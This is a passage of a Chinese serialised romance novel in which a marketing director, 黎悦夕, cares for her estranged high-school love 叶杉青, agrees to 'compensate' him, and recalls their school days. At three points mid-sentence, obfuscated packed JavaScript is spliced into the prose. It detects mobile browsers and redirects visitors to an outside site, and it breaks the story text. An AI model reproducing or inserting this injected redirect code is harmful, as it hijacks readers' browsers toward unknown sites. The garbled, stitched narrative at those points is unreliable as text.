从头到尾,她都只是在利用叶杉青,眼里只有利益,根本没什么真心可言。 而诸如“那些事不是她的错,希望她开心”,这种话也只有钟意会对她说。 也只有钟意,自始至终都是站在她这边的。 一刹那,黎悦夕从鼻头酸到眼眶,闷声调整好情绪,才抬头微笑着回应:“我知道了,快吃饭吧。” 钟意又扫她两眼,简短“嗯”了声。 黎悦夕垂下头,筷子是放进碗里了,人却依旧心不在焉。 她用余光朝桌上的手机瞥。 屏幕黑着,只看得见混乱的指纹印和反射出的餐厅天花板。 三天来,她就这么一直等着叶杉青的电话。 从前不论大事小事,阴晴晨昏,总是他在等她。 现在何尝不是一种角色交换。 也是到这时候,她才迟钝地感受到,他当初对她多么耐心,又多么真诚。 她不禁反复在想,等接到他电话,还回雨伞之后呢?就甘心真的这么再次陌路? 可不甘心又能怎么样? 像钟意说的,找他说清楚过去那样做的原因,然后明知造成的伤害无法就此消散,还是勉强换他一句原谅。 这样就能心安理得吗? 她不知道。 7. 夏夜出逃 周末是大晴天。 黎悦夕过得一如往常,和钟意见面闲聊,健身,买食材慢下节奏给自己做顿饭。 至于那通一直没打来的电话,仍旧悬而未决,惹得人心痒。 周二,手头上某品牌汽车新款车型的展示会方案,终于落地开始执行。 她一早就带着助理桑宁,和广告部的两个同事一起到达场地。 空旷明亮的场馆,经过一天的时间,被工人们有条不紊布置出雏形。 将近七点,品牌方的负责人张洵拍了拍手掌,声音洪亮:“时间差不多了,大家都先收尾。” 黎悦夕在右侧那个展示台前俯身做检查,每进行一步,就让桑宁一字字仔细记录下来,和原本的方案核对。 听见负责人的声音她也没抬眼,还低头在做自己的事。 视线扫过台侧阶梯上铺好的灰白色地毯,她忽地动作一顿,眉头也跟着拧起来。 桑宁问:“姐,有什么问题吗?” 她把那块地毯拎起来,回身看向张洵,“张经理,麻烦您过来一下。” 张洵年前就和黎悦夕合作过一次,领教过她抠细节的本领。 这回从写方案开始就明里暗里地表示,这种小场合,不需要她一个总监亲自过来监工。 眼下听她这么严肃喊自己名字,张洵也知道不妙。 他挪过来,讪讪笑着,“黎总监,我订好了餐厅,司机马上就到,接你们几位一起去吃饭。” 黎悦夕没回笑脸,手上那块小地毯又往前递了递,“张经理,这个展区一共三块地毯,颜色都不对。” 张洵伸手,随意往那块地毯上扒拉两下,仍敷衍地笑着:“不对吗?我记得很清楚呀,这片区域在策划书上是C区,装饰花瓶一对,白底蓝纹的。小地毯三块,灰色。” “这不就是灰色吗?” 黎悦夕呼了口气,地毯塞到他怀里,“是灰色,但你确定真的是按方案里写的那串色卡来的吗?这么说吧,合同上你们是甲方,我们是乙方,按道理来说你们满意最重要。但是既然我们一起花那么多时间、磨合那么多次才出的方案,那么必然是希望方方面面都令人满意的。 一块地毯事小,但是用的具体是哪个颜色,是我们跑场地,早中晚、天阴、天晴一次次在不同光线条件下测试出,能呈现最佳效果的。 我只是希望,不要让那份费劲大家心血的方案,最终只是纸上谈兵。” 她直立在原地,话到结尾,眉头稍稍扬起,眸色平静却目不转睛。 分明从头到尾语调并未过激,表情也没多大起伏,就是莫名给人压迫感。 张洵顿了两秒,有些窘迫,“行了行了,黎总监,我投降。” 他拧开一瓶水递过来,“我说实话吧,这些装饰类的小物件我确实没有一一仔细盯着,还想着都是一个色系,没差多少,不会那么轻易被看出来呢。躲不过你的火眼金睛。” 黎悦夕也露出笑脸,“咱们也不是第一次合作了,说不定还要继续合作,以后就别相互为难了。” 张洵点头,“我同意。地毯的事放心,明天一定换。” 她也点一下头,“时间不早了,各自休息吧。” 张洵应:“我给司机打电话,一会儿门口见。” 目送他走开,捧着本子闷头奋笔疾书的桑宁才小碎步挪上前,满眼惊讶,“姐,你怎么看出颜色不一样的?” 黎悦夕笑笑,“熟能生巧,这事没什么捷径。你以后跟着我……” 话到一半,被她脖颈上挂着的手机响声打断。 她抓起来低头看,是个陌生号码,归属地靖水市。 业务往来方面的陌生号码,她每天要接不少,心底早没多少波澜。 黎悦夕按下接听,机械地说:“喂,您好。” 那头很安静,似乎只有轻微的风声滑过。 以为是信号不好,黎悦夕声调提高了些:“喂……” “是我。” 简短的两个字。 清润的话音落进她耳廓,像根羽毛拂过皮肤,让人不自觉心脏一紧。 她抿抿唇才接上话,“嗯,你……你回靖水了?” 叶杉青声调一沉,“感冒没好,在医院。” “那……” 他打断她,“按逻辑来说,我是因为你才感冒的,现在没力气自己开车回家了,是不是该你来接我?” 听见他在医院,她第一反应就是要去看他的。 而他所谓的一番“逻辑”,倒也让她去得更加问心无愧。 她没犹豫,“我马上就来。” - 场馆所在位置离叶杉青说的二院不远,黎悦夕打车,二十多分钟就到达医院侧门。 进了大厅,她脚步稍慢,仰头去看指示牌。 急诊在右手边,她呼了口气,提脚要过去。 没两步,来往的人流中,一道宽厚的身影矗立。 叶杉青咳嗽两声,朝她走过来。 他穿了件基础款的棉T,和一条黑色休闲裤。 清爽简约的搭配,衬上他那张清隽的脸,本该出挑才是。 可他这会儿双眼里充斥着红血丝,眉眼间疲惫难掩。 两条胳膊露在外头,右手手背上黏的白色胶带自然也就显眼。 黎悦夕拧了下眉,有些心疼,迎上前问:“已经输完液了?有没有好点?还在发烧吗?” 说着,她侧过身,下意识想伸手去探他额头的温度。 他眼帘一垂,两人四目相对。 那双眸子不再像从前澄净、温暖,添了不少沉稳,和她看不懂的深邃。 即便如此,这一瞬,她心跳还是漏了一拍。 伸出的手悬停在半空,后知后觉意识到,他俩现在的关系,并不适合做这么亲密的举动。 她后退小半步,收回手想去拿他捏在手上的病历本,“开药了吗?我去拿。” 叶杉青却将那只手往身后藏,“药家里都有。” 她缓缓点头,“那你想吃什么?” “我都好,”他从口袋里拿出车钥匙递过去,“车在负一层。” 她“嗯”一声。 两人等了三四分钟,挤进电梯到达地下停车场。 他今天开的是辆白色的保时捷,黎悦夕钻进驾驶座,调整好座椅,随即驾车驶出停车场。 副驾驶的人端坐着,余光悄悄落在她侧脸上。 他觉得自己有些好笑。 从要到她名片那天开始,无数次在拨号盘输入那个号码,就是没有勇气按拨出。 又在微信添加好友一栏输入那个号码,搜索她的微信,同样没去添加。 最后联系她的事情一再作罢。 一直到今天来医院康复科给肩膀做针灸,路过急诊望见输液室里的人,才临时起意想到用感冒没好的借口找她。 光是这样还不够,甚至给自己手背上也弄了条止血胶带当做道具。 他自己导这一出戏到底为什么呢? 他说不清。 只知道,刚刚见她眼里满是担心的时候,他是开心的。 他暗自沉一口气,要收回视线。 黎悦夕说道:“前面左转过去有家粥铺,味道还不错,你病没好,今天就暂时吃些清淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640924|156423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吧。” 她说今天。 那是不是意味着,如果他明天没好,她还会来陪他? 叶杉青扯了下唇,正想说话。 黎悦夕接着说:“我刚刚是结束了工作赶过来的,雨伞摆在家里,没带在身上,只能下次再还你了。” 叶杉青眉头一蹙,侧过身直勾勾看向她,“你就这么急着还我?” 方才分明还温和的语气,现在又满是质问。黎悦夕有些懵,没反应过来自己又是哪里让他不高兴。 她应:“我只是陈述事实。” 毕竟除此之外,他们也没有更多话题可聊。 身旁的人鼻间呼了口气,语气更急了,“黎总监还真是公事公办,既然如此,你直接把车开到你家,然后拿伞给我。” 黎悦夕放缓车速,微微偏头看向身旁。 他板着脸,后背僵直,实在让人难以判断刚才那句话是气话还是真心。 那把伞现在是他们之间唯一的联系,而这微不足道的联系,迟早是要断掉的。 他恨她,那么大约是希望越快断干净越好。 她双手紧紧握了握方向盘,沉默片刻,还是按亮了右转的转向灯。 车子右拐进入和粥铺全然相反的道路。 叶杉青不可置信地扭头看向车窗外。 说让她现在去拿伞,她就毫不犹豫调转方向。她就真的那么不想再见他? 他沉了口气,视线回落到她侧脸上时,气得两条眉毛都快拧成八字。 两人谁也没再说话。 大约半小时,车子驶入千熙园小区停下。 黎悦夕解开安全带,用一声短促的咳嗽打破寂静,“那你在这儿等我。” 彼时的叶杉青也恰好解开安全带,他蹙着眉朝她看,“家里有人,不方便我上去?” “不是,”她抿唇,伸手去推门,“那走吧。” 电梯恰好停在一楼,两人很快来到家门口。 黎悦夕输入密码开了门。 屋内黑压压一片,楼道顶灯落下,将两人的影子投在地面。 她先一步挪进去按亮客厅的灯,这才回身,“进来坐吧。” 叶杉青“嗯”了声,慢吞吞往里走,掀着眼帘环视这间不大的屋子。 门侧是鞋柜,下方只摆了一双白色的女士拖鞋。往里连接餐厅和客厅,除了茶几上的水果篮里有半串葡萄,没有多余杂乱的东西。 最重要的是,没有男人的痕迹。 他眸色缓了些,朝客厅那侧靠近,见电视旁边摆着个相框,里头是黎悦夕和钟意的合照。 看照片里两人的造型,应该是近期才拍的。 黎悦夕在这时端了杯水过来,“家里只有白水,你……” 他应声回头,勾着唇角,笑意并未到达眼底,“你和钟意这么多年还一直有联系啊。” 以为他是随口的寒暄,黎悦夕正想点头。 他却冷不防补了句:“看来你也不是对所有人都无情无义的。” 她心口一抽,疼得厉害。 沉沉吐出一口气,终于还是开口:“叶杉青。” 太久没听过她喊自己的名字,他好像连呼吸也被扼住,根本发不出声回应。 她抬头,眸光闪动,“过去的一切都是我不对,我没什么好抵赖和狡辩的。我也知道带给你的伤害无法抹平,但如果、如果能有弥补你的方式,那我愿意去做。” 那双眼睛盛满泪水,将他身影融在里头。 他再多看一秒,思绪也要失衡。 最后只好扭头避开她的视线,匆忙抛出一句:“好啊,那你补偿我吧。” 8. 夏夜出逃 黎悦夕抬眸去看他侧脸。 明亮的顶灯从斜侧落下,他半张脸匿在阴影中,疲态更加令人心疼。 她深吸了口气,静默着在想如何回应他的话。 他说补偿。 欠的如果是东西,那哪怕是加倍也是能还清的。 欠的如果是钱,连本带息归还也没什么异议。 可偏偏欠的是感情。 这种虚无缥缈的东西,该用什么方式去还才能算得清楚? 黎悦夕决定将主动权交到他手上,“好,那补偿的方式由你决定。” 叶杉青方才凌乱的心绪平缓不少,他重新扭头垂眼看面前的人,反问:“什么方式你都接受?” 她点头,“嗯,都接受。” 他没出声,眉心微拢着,密实的长睫随垂下的双眼颤动几下,随即提脚往前挪。 两人中间本就只有四五步的距离,没两秒,他整个身影都逼近到她身前。 四目相对,黎悦夕只觉得那双眼睛太过漠然,盯得她下意识想后退。 没等她挪动半分,叶杉青低头,整张脸凑近过来。 眸底闪过几分玩味的笑,视线从她眉眼间一路往下,最终定格到她紧抿的双唇上。 良久的沉默,两人起伏的呼吸声交错。 距离太近了,近到黎悦夕这会儿连他身上残余着浅淡的消毒药水味都能清晰闻见。 她半个身子都在往后仰,胸腔里轰鸣的心跳实在难以平静。 似乎是她这副慌乱的模样反倒令他满意,他眸色竟然柔和了些。 直起身子问道:“我恨你,你知道吧?” 对于他恨她这件事,明明心底里早有预设。可这一刻听他亲口说出来,她还是难受得厉害。 她跟着站直,咳嗽两声强迫自己镇静下来,这才极其没底气地应了声“嗯”。 叶杉青点了点头,背过身往窗户边走,“那你也应该知道,我们之间要说什么补偿得分毫不差,清算得绝对清楚,这是不可能的。” 她还是一声“嗯”,立在这头静静看他背影。 他在落地窗前站定。 一前一后的两道身影,交叠倒映在玻璃窗上。 他在看她,她也在看他。 悄无声息吸了口气,叶杉青再次开口:“刚刚是你自己说的,什么方式都接受,那我希望在我之后提出要求的时候,你不要找借口搪塞。” “一直到,我满意为止。” 他是真的想要补偿,还是要借此报复。她都不想去深想。 就当是为他做点什么,填补一下自己心里深不见底的歉疚也是好的。 “好。”她应。 他接着说:“我在医院待了大半天,现在饿了,你给我煮点吃的吧。” 这应该算是他提出的第一个要求吧。 黎悦夕点头,“行,那你等我一会儿。” 窗边的人没再出声,只是沉默着,像一棵耸立崖边的松木,冷静地定定注视着窗上她的倒影。 一直到她转身进了厨房,他才回头朝这边看。 工作起来,一周一半时间都会加班,黎悦夕在家开火做饭的次数不多。 冰箱里塞的只有一些能长期保存的食材,和能快速煮熟的速食品。 她站在冰箱前犯了难。 人家怎么说也是病人,给人家吃泡面、速冻饺子之类的东西未免也太草率。但现在时间确实不早了,再去买菜来回折腾,对病人的肠胃也是一番考验。 思索一阵,她选择了煮挂面,再往里加两个荷包蛋和牛肉粒。 二十分钟左右,两碗面装盘完成。 黎悦夕端着一大一小两个碗出来,边将碗往餐桌上放,边说:“煮了面,过来吃吧。” 客厅的人并没回应。 她站直回过身,倒吸一口气想重复一遍刚刚的话。 这时才见,叶杉青坐在沙发一侧,倚着靠枕睡着了。 到嘴边的话只好就这么忍了回去,黎悦夕站在原地默默看他。 即便是睡着了,他身子仍还是端坐着,只有脑袋微微往后仰了些。胳膊被棉T包裹,恰好显露出紧实的手臂肌肉。 她望了两秒,又看见他手背上的止血胶带。 这样继续睡下去,只怕又会着凉加重感冒。 她想走过去给他盖个毯子,右脚提起才意识到自己脚上还是皮鞋,踩在木地板上动静实在不小。 于是干脆弯腰脱了鞋,就这么赤脚一点点朝他靠近。 她拎起搭在沙发边的薄毯摊开,俯身要往他身上盖,视线也随之落在他脸上。 大半天都待在医院,看来是真的累了。 他这会儿呼吸沉沉,听得出睡得很熟。顶灯坠下,更衬得他脸部线条流畅。 这张脸比十年前成熟太多。 而这些促使他成熟的岁月和经历里,都没有她。 想到这里,黎悦夕不由轻叹了一声。 不知到底是空间太过静谧,还是两人之间离得太近,她这轻微一声,还是传进原本熟睡的人耳朵里。 叶杉青抬手揉了揉眉心,慢悠悠睁开眼。 他显然没想到黎悦夕会在面前,朦胧的视线钻进她身影的一刻,整个人怔了怔,接着“噌”地坐直起来,问:“怎么了?” 黎悦夕把毯子随手一放,连忙背过身,“面好了,但你如果实在累,就先休息一会儿吧,我待会儿给你重新煮。” “不用了。”他想继续说话。 瞥见她光脚站在地上,眉头忽地皱了下,收回了后半句。快步挪到鞋柜那侧,拎着摆在地上的白色拖鞋又折回来,“先穿鞋吧。” 她自己都忘了自己没穿鞋,愣愣地睁大眼“啊?”了声。 叶杉青没多说,干脆半蹲下去,把鞋子往她面前放好,仰起头冲她扬了下眉毛。 黎悦夕这下更是怔住,双唇一张一合却思绪混乱,最后连忙将双脚塞进拖鞋里,应了句:“谢……谢谢。” 他“嗯”了声,起身洗了手折回餐桌边坐下,闷头开始搅拌碗里的面条。 余光里,黎悦夕还呆呆站在这头,他没抬眼,只低声说了句:“很晚了,不饿吗?” 她拉回思绪,也走到餐桌边坐下,“家里食材不多,你将就吃吧。” 他仍只是平淡一声“嗯”。 桌上除了两碗面,就是一个剩半壶水的玻璃水壶,这一餐吃得极其简单。 两人面对面,谁也没说话,视线却又总忍不住往对面落。 / 2014年的冬天,他们也这样一起吃过一顿饭。 那时候离高考还有五个多月,正是靖水每年最冷的时候。 模考成绩在周六下午这天出来,黎悦夕稳居榜首,且各科分数相较上一次考试都有很大进步,保持这样的节奏继续下去,她离理想中的大学就能越来越近。 下午放学后,她收拾好书包准备去食堂。 叶杉青从后排绕过来拦在她身前,笑得灿烂,“恭喜黎同学,这次又是第一了!” 她也冲他笑,“谢谢叶同学。” 她横挪两步,“不过我饿了,现在要去吃饭了,别挡路。” 说完,她迈着大步就往教室外走。 叶杉青跑着追到她身侧,“今天这种日子还吃食堂啊,你不腻吗?” 她不回头,“今天什么日子,不就是个普通的周六,吃完我还要去图书馆继续刷题呢。” 她的每顿饭,一向只是为了填饱肚子,通常都会在十分钟内迅速解决。 而就算是这短短的十分钟,她也一定会捧着一本英文单词,或者化学公式之类的东西边吃边背。 叶杉青呼了口气,声音忽然软下去,“可是跨年的时候我就约你一起吃饭,你说下次,下次到底是哪次嘛……” 黎悦夕脚步一顿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14640925|156423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在学校附近吃的话,来回顶多也就是半小时,不会耽搁太多去图书馆的时间。反正明天是周日,不用早起上课,大不了明天去图书馆的时间延长一些就好。 她微笑着看他,“好吧,那你说,我们去吃什么?” “真的?”叶杉青还没反应过来她已经答应了,一双黑眸张大,衬在白茫茫的雪地里,眸光倒是让人觉得温暖。 “你不愿意?”黎悦夕笑意一敛,迈步继续往前。 叶杉青重新追上前,把自己包里的围巾仔仔细细往她脖颈上绕。 那条围巾好长,绕了好几圈,最后连她半张脸也遮住。 她的声音阻在围巾后头,闷闷地传出来,“叶杉青,你别闹!” 越是这样说,他越是喜欢逗她,恨不得把她眼睛也蒙住。 两个人就这么追逐嬉闹着从教学楼前一路跑出学校,雪地上印下一串大大小小交错的脚印。 出了学校没走几步,叶杉青停在便利店门前,“吃这个就好啦,你请客。” “哎……” 不等黎悦夕回话,他已经推门进去,捧着纸碗在柜台前选关东煮。 她知道的,他们的消费水准、认知水平和成长环境从来不在一条水平线上,甚至可以说是天上和地下的差别。 可每一次,每一次他都会为了迁就她,并且不伤害她自尊心的情况下,率先选择妥协。 隔一扇玻璃门,黎悦夕望着他在里头朝她招手。 少年恣意无瑕的笑容,像是被玻璃蒙上一层柔和的滤镜,让人许久都难以忘怀。 一份冒热气的关东煮和烤红薯,就这样让两人在冷到刺骨的大雪天里,拥有了彼此最灿烂纯真的笑脸和永恒不变的回忆。 / 黎悦夕吞下一口面条,脑海中闪过过往的画面,心头一酸,一下子猝不及防被呛到。 对面的人倒了杯水往她面前放,接着又抽了张纸巾递过来,问:“还好吧?” 她捧起杯子抿了两口,摇头应:“没事,吃太急了。” 叶杉青点点头,重新闷头将面条往嘴里喂。 过去的画面他同样没忘记过。 那顿关东煮之后,他们还约定过,高考之后要一起去新的城市,尝试别的口味的美食。 将来要一起去更远的地方,吃更多东西,留下更多独一无二的回忆。 上班之后会一起买一幢小房子,一起逛市场,买食材,一起做饭,再一起吃光,饭后可能还会为了谁洗碗的问题来上一轮石头剪刀布…… 想到这里,他喉咙一紧,嘴里的食物再难下咽。 紧紧握了握拳忍下情绪,他才站起来,“我还有工作要处理,先回去了。” 没等黎悦夕反应过来,他已经开门径直走了出去。 屋子里瞬时空荡荡只剩她一个人,和门侧立着的那把黑色雨伞。 呆呆在桌边坐了好一阵,黎悦夕想起下午他给她打过电话,于是拿出手机复制了那个号码到微信。 微信名片显示,对方的昵称叫叶,没有个签,一片漫无边际的雪做头像。 她没迟疑,按下好友申请,在备注栏填了三个字:黎悦夕。 捧着手机盯了三五分钟,那头发来通过申请的信息。 她紧接着发过去一条:[明天什么时候去医院,我提前过去送你。] 叶:[我自己会过去,你下班来接我就好。] 黎悦夕:[好。] 黎悦夕:[早点休息。] 没了下文,她将手机放到一旁,沉沉叹了口气。 这头的叶杉青盯着手机屏幕上的黎悦夕三个字看,眸色渐沉。 夜色浓重,两人在不同的地方仰头望向天空,思绪在这一刻交汇。 恨也好,补偿也好,什么原因都好。 至少现在。 她又能出现在他身边了。 他又能出现在她身边了。 9. 夏夜出逃 临近下班,一整天闹哄哄的办公室节奏终于慢下来了些。 部分人在争分夺秒做收尾工作,部分人已经开始收拾自己的挎包。 黎悦夕捧着刚给副总签完字的两个文件夹折回自己工位。午休时间一直在忙,一整天可以说三分钟以上的闲暇都没有过,她这会儿实在有些困倦。 往椅子上一摊,打着哈欠揉了揉眼睛,随后拿出手机当镜子,想看看自己脸上的妆是不是已经全花了。 手机屏幕在这时候亮起来。 两条信息都来自客户,她顺序回复完,正想把手机往包里塞。 迟疑半秒,又重新解锁,垂眼定定盯着聊天列表看。 和叶杉青的上一次对话已经是三天前,他说他接下来要出差,让她不用再去医院接他。 她回好,便没了下文。 那天加过联系方式后,黎悦夕去医院接过他两次。 那两次,他手背上不再有输液后用的止血胶带,除了身上仍然有浅淡的消毒水味,整个人状态看起来好不少。 她去接他,他们俩就像寻常的朋友一样一起吃饭。 席间话不多,却也没像前几次一样句句带刺。 这样的相处让黎悦夕有些意外,觉得他们俩的关系似乎有所缓和。 可这样的缓和,又好像经不起什么推敲。因为客套起来,反倒像是两人之间的距离越来越远。 她看不透现在的他,也无法预测什么时候会再次断联。耸着肩长长叹了一口气,最终没找到点开那个对话框的理由。 桑宁不知什么时候凑近过来,往她面前递了杯冰美式,“姐,我朋友的小酒馆开业,我叫了几个同事一起去捧场,和我们一起吧?” 黎悦夕应声抬头,对上小姑娘热情的笑脸。 没等她开口,路过的同事盛书航先帮忙做出回应,“宁宁,你又来了,别为难你师父了。” 桑宁丝毫没受挫,“没事啊,反正我总出去不同的地方玩,总会有个地方是我师父感兴趣的。” 说着,她还朝黎悦夕扬了下下巴。 黎悦夕被逗笑。 本来到嘴边的拒绝,转念变成一句:“行,我今天和你们一起去。” 反正这么早回家也是一个人,不如和大家一起把时间消磨掉,就不会有空胡思乱想。 桑宁和盛书航的表情如同复制粘贴,双眼睁大,齐声问:“真的?” 她点头,“嗯,位置发我。” 桑宁咧嘴笑,“不用这么麻烦,我打好车咱们一起过去就行。” 她答:“好。” - 叶杉青从机场出来的时候八点多。 仲夏晴天的夜晚,即便是喧嚣城市,也能望见零散几颗星点。淡黄色的月牙挂在一旁,静谧而美好。 他很少有闲心以所谓欣赏的心态去看天空,这会儿却因为眼前的景致觉得有些舒心。 自从开始自己创业做工作室,一年到头在高铁站、机场出入的次数多不胜数。 但这次回到靖水,他心底里却多了一份归属感。 在出租车后排坐稳,他拿出手机拨了黎悦夕的电话。 第一通没接。 他拧了下眉,给她发了微信:[还在加班?] 三分钟过去,微信也没回应,他又拨出第二通电话。 这次响了将近十秒钟,传出一声:“喂。” 听筒里有嘈杂的吵闹声和音乐声,她说话的声音夹在其中实在有些不清楚。 他问:“在忙吗?” 那头没声音,过了几秒,嘈杂声渐远,大约是她找了个安静的位置,回应道:“没有,和同事在外面。” 她反问:“你今天不忙吗?” 叶杉青应:“我已经到靖水了。” “那我去机场接你。”她说。 “不是这个意思,”他抿了抿唇,“你在哪?” 对面又静了几秒,一五一十说:“酌青酒馆。” 他没解释自己这么问的原因,只简短“嗯”一声便挂断了电话,随后搜索酌青酒馆的具体位置,跟出租车司机更改了目的地。 车停的位置算得上是酒吧酒馆一条街,放眼望去各式装潢的店面都有。 叶杉青往前走了几米,望见一家门口摆放着不少花篮和装饰品的店,仰起头去看招牌,果然就是酌青。 水泥灰的外墙和门头,里头光线偏暖,桌椅有序地摆放,整间屋子几乎满座。 他推开玻璃门挪步进去,在攒动的人群中搜寻黎悦夕的身影。 视线最终定格在右侧角落。 那里是一张方桌,边上坐着包括黎悦夕在内的三男四女。桌上摆着啤酒、鸡尾酒,还有几碟小吃。 几人正在摇骰子玩游戏,说笑间,偶尔会端起酒杯相互碰一下。 黎悦夕也没例外,她端起面前的啤酒抿了两口。 右手揽了下耳畔垂下卷曲的黑发,颊边笑意灿然。红唇白肤映衬在这样的光线下,更为气质。 他从没见过这样的她。 一时看呆,连脚步也忘了继续挪动。 玩游戏的几人仍在投入,黎悦夕连输三局,不得不接受惩罚。 她主动把自己的酒杯倒满,举手表示投降,“我认罚,喝几杯你们定。” 桑宁不想她喝那么猛,“悦夕姐,你悠着点,本来就没吃多少东西,伤胃。” 旁边的男生是桑宁的朋友,也是这家小酒馆的老板禹尘。 他也阻止道:“就是嘛,大家一起玩是为了开心,又不是为了灌酒伤身。” 端着下巴思考片刻,他提出:“这样吧,我们一向不欺负新来的,你喝半杯就行,然后给大家唱首歌、或者任选一个在场的人,做鬼脸把对方逗笑就行。” 盛书航拍了下手掌,“我可早听副总说,黎总监唱歌很好听的!不知道今天我们有没有荣幸一饱耳福。” 氛围和酒精的双重催化,黎悦夕也来了兴致,起身答应下来,“行,给你们唱首歌,正好我看那边有吉他。” “喔!” 众人目送她朝正前的舞台上走,鼓掌欢呼起来。 舞台上,黎悦夕简单给吉他调了音。 琴弦拨动,和弦声传出。屋内灯光全部暗下,只剩舞台上方打下的一束雾蓝色灯光将她包裹其中。 她弯了下唇,“给大家唱一首我很喜欢的歌吧,《虎口脱险》。” 话音落下,她合上双眼,轻缓的歌声完美融进伴奏。 “把烟熄灭了吧,对身体会好一点。 虽然这样很难度过想你的夜。”[注1] …… 歌声在屋内流转,所有人都点亮手机屏幕,跟着节奏在左右摇晃。 门边的叶杉青呆立原地,默默注视她。 歌声缓缓入耳,过去的画面也开始放映。 / 高二上学期,2012年10月底,高二年级的第一次月考结束。 黎悦夕在云槐一中,五六十人、全年级三百多人的情况下,大小考都是年级第一。 可来到盛岸高中,一共八个班,二十人的小班制,她这次考试却在班里排十七名,在年级更是排到一百名开外。 还不光是卷面成绩,盛岸高中增设许多普高没有的,诸如英语口语、文体单科之类的科目。 这些她也都表现得不理想。 出成绩后的下午是一节自选的文化鉴赏课,她没去教室,而是捧着成绩单一个人坐在体育馆背后的绿荫走廊发呆。 望着自己的分数和成绩,她头一次感觉到那么迷茫和无力。 好一阵之后,她垂头丧气哀嚎了两声。 身后忽然传来一道男声:“哭鼻子了?不就一次考试,至于吗?” 转学过来一个多月,她鲜少和班里同学打交道,但这个声音课上课下总在教室里招摇,她一下就听出来了,是叶杉青。 于是头也没回,只淡淡应了声:“我才没有。” 叶杉青轻啧了声,绕到她身边坐下,眯着眼偏头朝她脸上打量。 确认后才点头,“没哭就行,那我走了。” 他站起身,黎悦夕不解地抬头问:“我就算哭了也跟你没关系吧,搞得好像你有义务安慰我一样。” “……” 叶杉青脚步一顿,重新折回来坐下,直勾勾对上她的眼睛,“现在是上课时间,谁会往这里跑?而你刚好在这里,我刚好从你身后路过。” “要是真的撞见你在哭,安慰一下怎么不算义务?” 他这番话说得太过理直气壮,眼神也毫无闪躲。 那一瞬,黎悦夕竟然打心底里觉得他说得有道理。 她别开脸,“算了,反正我没哭。像你说的,就一次考试而已,下次我一定会做好的。” 叶杉青还在看她。 小姑娘只留下一张侧脸,却满是倔强和不屈。 他笑笑,“嗯,那下次大榜上见。” 说罢,他起身往前。 黎悦夕没再回话,方才低沉的心情莫名因为这段意料之外的对话有所缓解。 叶杉青这次在大榜上是年级第三,她决定以此为下一次考试的目标。 她呼了口气,慢吞吞哼起喜欢的歌。 没有伴奏,她声音也不大。 那歌声融在秋风里,却悄无声息就往人心口钻。 那天之后,黎悦夕跟自己较上了劲,图书馆去得更勤了,练习英语口语也渐渐大胆起来。 第二次考试,她的文化课成绩从一百出头上升到年级第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14640926|156423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九。 口语成绩和文体成绩也从上一次的C,进步到这次的B+。 她心底里仍憋着一股劲,日复一日把时间和精力全部用在学习上。 也因此,一学期过去,她和班里同学没怎么说过话。 刚开学时对她示好的几名同学,久而久之也觉得她难相处,懒得再费精力。 时间转眼到高二下学期,2013年5月。 学校即将举办校园艺术节,各班学生都争相表现。 三班班主任郝一龄请了病假,群龙无首,班里没多少人对艺术节上心。 班长钟意趁着刚下课人齐,上台进行第三次动员,“大家,多少还是报两个节目嘛,咱班完全不露脸,到时候郝老师知道了会失望的。” 底下一个男生说:“报了名又拿不到名次,那样不是更失望。” 众人噤声。 上学期的运动会就是这样,一群人原本信誓旦旦说要给三班拿荣誉,要给郝一龄争个最佳班主任,最后心气倒是够高,实力却没跟上,整个班的人都像霜打的茄子,一直没缓过来。 钟意笑得苦涩,“话是这么说没错……我是班长,我带头报名一个芭蕾,你们再考虑考虑。” 底下没人接话,她灰溜溜离开了讲台。 下午放学,教室里除开值日的两名同学,就只剩黎悦夕和钟意。 黎悦夕挪到钟意桌边,低低喊了声:“班长。” 她从不主动和人打交道,钟意有些惊讶,“怎么了?” 她咳了声,望着值日的两名同学离开才说:“艺术节,我可以报名吗?” 钟意愣住。 黎悦夕摆摆手,“不行的话就算了。” “不是,”钟意连忙说,“你想报什么节目?我马上给你登记。” 她没底气地问:“唱歌可以吗?” 她没生长在那种有余钱去学习钢琴、芭蕾之类课余爱好的家庭,唱歌也仅限于随口哼一哼,没有过任何正式的学习。和别的同学能流利说出好几门外语,能在大型钢琴赛事拿好成绩相比,简直不值一提。 可郝一龄对她很好,从转学来第一天给她饭卡,让她准点吃饭开始,总会关心她在这里习不习惯,冬天还借自己的厚外套给她穿,看她学习跟不上也总牺牲自己业余时间帮助她。 她不想让郝一龄病假回来之后对三班失望。 钟意点头,“当然可以!” 黎悦夕冲她弯唇笑了笑。 第二天开始,她利用午休时间一个人在舞蹈室练习唱歌。 刚唱了两遍,舞蹈室的门被推开。 